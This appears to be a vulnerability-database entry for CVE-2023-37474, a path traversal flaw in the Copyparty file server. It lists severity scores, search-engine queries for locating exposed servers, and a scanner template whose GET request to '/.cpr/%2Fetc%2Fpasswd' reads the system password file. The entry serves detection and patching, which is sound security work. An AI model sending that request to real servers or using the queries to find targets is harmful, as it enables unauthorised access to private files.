SecurityContext

CVE-2023-37474: Copyparty <= 1.8.2 - Directory Traversal

Classification

  • Cwe: CWE-22
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.4492
  • Epss percentile: 0.98809
  • Cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="copyparty"
  • Google-query: intitle:"copyparty"
  • Max-request: 1
  • Product: copyparty
  • Shodan-query: http.title:"copyparty"
  • Vendor: copyparty_project
  • Verified: yes

Products

ProductIndexedUrl
copyparty_project:copypartyyes/v1/products/copyparty_project/copyparty

Labels

  • Name: Copyparty - Path Traversal
  • Impact: Attackers can access arbitrary files outside the web document root, potentially leading to information disclosure.
  • Remediation: Upgrade to version 1.8.2 or later.
  • Vulnerability type: path_traversal
  • Vulnerability impact: file_system_read, information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-37474
  • Not known: requirements

```yaml

id: CVE-2023-37474

info:

name: Copyparty <= 1.8.2 - Directory Traversal

author: shankar acharya,theamanrawat

severity: high

description: |

Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. This issue has been addressed in commit `043e3c7d` which has been included in release 1.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.

impact: |

Unauthenticated attackers can exploit path traversal in the .cpr subfolder to read arbitrary files from the file server, potentially accessing sensitive system files and user data stored outside the web document root.

remediation: |

Update Copyparty to version 1.8.2 or later that properly validates file paths in the .cpr subfolder and prevents directory traversal attacks.

reference:

- https://github.com/9001/copyparty/

- https://www.exploit-db.com/exploits/51636

- https://nvd.nist.gov/vuln/detail/CVE-2023-37474

- http://packetstormsecurity.com/files/173822/Copyparty-1.8.2-Directory-Traversal.html

- https://github.com/9001/copyparty/commit/043e3c7dd683113e2b1c15cacb9c8e68f76513ff

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2023-37474

cwe-id: CWE-22

epss-score: 0.4492

epss-percentile: 0.98809

cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: copyparty_project

product: copyparty

shodan-query: http.title:"copyparty"

fofa-query: title="copyparty"

google-query: intitle:"copyparty"

tags: cve,cve2023,packetstorm,traversal,copyparty,copyparty_project,vuln,vkev

http:

- method: GET

path:

- "{{BaseURL}}/.cpr/%2Fetc%2Fpasswd"

matchers-condition: and

matchers:

- type: regex

regex:

- "root:[x*]:0:0"

- type: status

status:

- 200

digest: 4a0a0047304502202ded0a049831ec8b48a08423fc9b56a137e76a2d506f308e353c874e46bc823c022100c5c756406b597efdc7c89d11e343fe97430b41e71b127b17b3a11d268c9b06bf:922c64590222798bb761d5b6d8e72950

```